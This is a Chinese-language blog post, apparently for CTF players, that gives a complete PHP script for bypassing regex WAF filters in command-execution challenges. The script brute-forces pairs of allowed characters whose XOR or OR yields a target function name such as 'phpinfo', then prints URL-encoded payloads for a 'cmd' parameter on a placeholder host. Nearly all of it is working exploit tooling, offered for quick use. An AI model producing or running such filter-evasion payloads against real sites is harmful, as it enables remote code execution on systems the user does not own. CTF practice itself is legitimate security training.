[CTF脚本] PHP命令执行 字符构造脚本
以后再也不用费尽心思去现场写了
命令执行这种题能秒就秒
使用说明
开始梭之前,只需手动设置以下3个参数:
1.要构造的字符串
$code_required = "phpinfo";
2.使用的运算符,目前可用^和|
$operator = "|";
3.题目给的waf(直接copy)
$waf = '/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i';
然后开始抢1血吧
脚本源码
<?php
/**
* PHP字符运算构造脚本
*
* 功能描述:只需设置要构造的字符串$code_required以及所用运算符$operator,以及题目waf,便可一把suo
*
* @author Lanb0 <2560454149@qq.com>
* @since 2024/10/25
*/
//要构造的字符串
$code_required = "phpinfo";
//使用的运算符,可用^和|
$operator = "|";
// 可用字符集
$char_list = [];
// 黑名单字符集,大多数题目不会直接给字符集,所以改用waf
//$balck_list = [];
//把题目里的waf规则copy下来
$waf = '/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i';
//格式化结果集1
$result_1="";
//格式化结果集2
$result_2="";
$result_2_one="";
$result_2_two="";
$temp_char='';
function urlencode_completeply($char){
$char = bin2hex($char);
$char = "%".$char;
return $char;
}
// 生成可用字符集
for ($i = 1; $i <= 126; $i++) {
$temp_char = (chr($i));
/*if(!in_array($temp_char,$balck_list)){
$char_list[] = chr($i);
}*/
if(!preg_match($waf, $temp_char)&& !in_array($temp_char,['\'','"','\\'])){
$char_list[] = chr($i);
}
}
// 开始构造
$pass_flag;
foreach (str_split($code_required) as $code_char){
$pass_flag = false;
foreach ($char_list as $i){
foreach ($char_list as $j){
// 此处根据需要可更换为其他运算符
$expression = "'".$i."'".$operator."'".$j."'";
$char_xor = eval("return $expression;");
if($char_xor === $code_char){
//构造第一种格式化结果
$result_1.=".('".urlencode_completeply(($i))."'".$operator."'".urlencode_completeply(($j))."')";
//构造第二种格式化结果
$result_2_one.=urlencode_completeply($i);
$result_2_two.=urlencode_completeply($j);
$pass_flag = true;
break;
}
}
if ($pass_flag) {
break;
}
}
if (!$pass_flag){
echo $code_char."在当前可用字符集中没有找到可以构造的一对字符,请尽可能扩大可用字符集(ASCII范围: 1-255)\n";
exit(0);
}
}
$result_1 = "(".substr($result_1, 1).")"."();";
$result_2 = "("."('".$result_2_one."')" .$operator. "('".$result_2_two."')".")"."();";
//贴心的给出了构造格式,以防能构造但不知道怎么传参的尴尬
echo 'http://xxx.com/?cmd='.$result_1 . "\n";
echo 'http://xxx.com/?cmd='.$result_2 . "\n";
?>